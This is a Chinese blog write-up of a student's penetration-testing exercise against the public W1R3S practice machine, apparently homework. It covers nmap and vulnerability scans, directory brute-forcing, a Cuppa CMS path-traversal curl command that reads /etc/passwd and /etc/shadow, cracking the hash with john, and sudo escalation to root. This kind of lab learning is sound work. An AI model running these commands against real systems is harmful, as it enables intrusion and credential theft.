渗透测试基础

任务描述:

  1. 这个作业是一个比较有趣靶机进行渗透测试,要求是你获得 W1R3S 机器的 root 权限,然后读取位
    于/root 目录下的 flag.txt
  1. 能做到哪做到那儿,把每一步的过程写清楚,和指令/代码运行结果一起放到报告里(可以进行脱敏处理)

  2. 该靶机是一个公开的靶机,有很多现成的 wp,要“借鉴”多少取决干个人,写在报告里即可,尽量
    自己完成,当然,也可以问我。靶机地址:

  3. leve1-信息搜集,尽可能多的写自己收集的信息

  4. leve2-外网打点,找到任意一个漏洞就算通过,当然多多益善

  5. leve3-获得普通用户权限

  6. level4-获得管理员权限,可以尝试下有没有更多提权的方法

level1-信息搜集

端口扫描–nmap

由于靶机是在内网内,使用这里扫描扫一遍应该就行了,但如果是不在内网或是现实中,最好扫描3遍,以便得到准确的信息。

确定靶机的ip地址

首先,在kali中输入

1
ip a

来确定网段,方便之后用nmap来确定靶机的ip

由图可看出,虚拟机网段为192.168.183.129/24

接着输入一下指令来探测在线主机(未打开靶机时)

1
sudo nmap -sn 192.168.183.0/24

然后打开靶机,再次探测在线主机

对比两次探测结果,发现新增出192.168.183.130,可知这就是靶机的ip

nmap扫描靶机端口

先用全端口扫描指令

1
sudo nmap --min-rate 10000 -p- 192.168.183.130

知道了靶机地址之后,分别对靶机进行SYN端口扫描

1
sudo nmap -sS -p- 192.168.183.130

进行TCP端口扫描

1
sudo nmap -sT -p- 192.168.183.130

进行UDP端口扫描

1
sudo nmap -sU -p- 192.168.183.130

查看服务版本

1
sudo nmap -sV -p21,22,80,3306 192.168.183.130

漏洞扫描(关键)

1
sudo nmap --script=vuln -p21,22,80,3306 192.168.183.130

总结端口扫描信息

用nmap扫描靶机后,发现靶机开放了4个端口及对应的服务和版本,以及一些可能存在的漏洞(主要是80、3306端口),然后根据截图把信息总结记录下来(这里因为图方便,就没总结直接看截图了)

目录扫描

这里我采用的是御剑扫描

发现所有的都是下面这个样子

于是再尝试在kali中使用dirsearch来扫描

1
dirsearch -u http://192.168.183.130

出现了一些不一样的结果(后来想想应该是我御剑没勾选3XX的缘故)

由于是用靶机来练习,并没有域名等信息

web指纹识别(未使用)

域名检查、网络空间测绘(无需使用)

用FOFA查不了(应该是靶机只是在内网运行,未部署到外网)

子域名发现(未使用)

leve2-外网打点

由于通过漏洞扫描的发现,大概知道80端口漏洞可能是最多的,3306其次。因此推测可能从80端口和3306去寻找机会,成功的可能性比较大一些。

进一步查看扫描结果

先把刚才目录扫描出来的网址一个个打开看看(先试状态为200再试301)

访问

1
http://192.168.183.130/wordpress/wp-login.php

访问

1
http://192.168.183.130/administrator/

访问

1
http://192.168.183.130/javascript/

访问

1
http://localhost/wordpress/ 

由以上结果可以看出,前面两个网址暴露出来的信息很有价值,而且从账号密码登录界面联想到sql注入等其他操作(但由于还是小白,并不知道怎么操作),以此打算就第二张图的那个“next”在看看会不会有其他有用的信息,

果然有更多的信息,这里把表填好,再次“next”

但到这里,我还是没想出如何利用这些信息去寻找漏洞,属实有点狼狈。

尝试寻找漏洞

根据漏洞扫描的结果和刚才那个WordPress登录界面,打算用searchsploit查询一下漏洞

1
searchsploit wordpress  wp-login.php

将文档下载下来并查看

1
2
3
4
5
6
searchsploit wordpress  wp-login.php -m 24667.txt
searchsploit wordpress wp-login.php -m 24641.txt
searchsploit wordpress wp-login.php -m 38643.txt
cat 24667.txt
cat 24641.txt
cat 38643.txt

好消息是找到漏洞了,坏消息是不会用,翻译了一下有一个说的是用xss注入,但是我并不会,其他的文档提供的方式也是不会正确使用,尝试了好久,并没有收获,卡在这一步了。

leve3-获得普通用户权限

卡在了这一步,查看了一下别人的WP,B站号:BV1mB4y1j7K6

继续尝试

发现还有一个漏洞Cuppa CMS,于是用searchsploit指令寻找相关的漏洞

1
searchsploit cuppa cms

把txt文件下载下来,并查看

1
2
searchsploit cuppa cms -m 25971.txt
cat 25971.txt

根据文件里的提示,尝试

1
2
http://192.168.183.130/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

得到上图,却没有显示出信息,分析原因,发现可能是编码问题(文件中有提及)。这里换成curl来尝试

1
sudo curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.183.130/administrator/alerts/alertConfigField.php

得到了一堆奇奇怪怪的东西,在用html2text进一步处理

1
sudo curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.183.130/administrator/alerts/alertConfigField.php | html2text

拿到之后,在尝试一下看能不能拿到shadow文件

1
sudo curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.183.130/administrator/alerts/alertConfigField.php

这边也是成功拿到shadow文件。

john破解

将上面的内容复制粘贴到一个新的文件(这边我命名为hash)

1
vim hash

接着用john破解

1
john hash

芜湖,这边也是成功破解出秘密,不难看出w1r3s用户的密码就是“computer”

赶紧去靶机登录界面试试

果然每错,这边也是成功登入!

level4-获得管理员权限

这边可以参考这个文章(更加全面)

或者跟着b站那篇wp继续操作

提升权限

首先需要确定一下我们目前w1r3s的权限,

先在kali上用ssh远程连接靶机(当然直接在靶机上操作也可以)

1
sudo ssh w1r3s@192.168.183.130

成功连接后,输入下面的指令来确定目前用户的权限

1
sudo -l

哇去,这个w1r3s竟然有着(ALL:ALL)ALL权限!

由于拥有着ALL权限,所以执行下面指令就能获得root权限了

1
sudo /bin/bash

寻找flag

有了root权限后,接下来就是找到flag了

1
2
cd /root
cat flag.txt

这样就大功告成了,这个flag还挺有意思的!


渗透测试基础
https://www.supersmallblack.cn/渗透测试基础.html
作者
Small Black
发布于
2023年1月3日
许可协议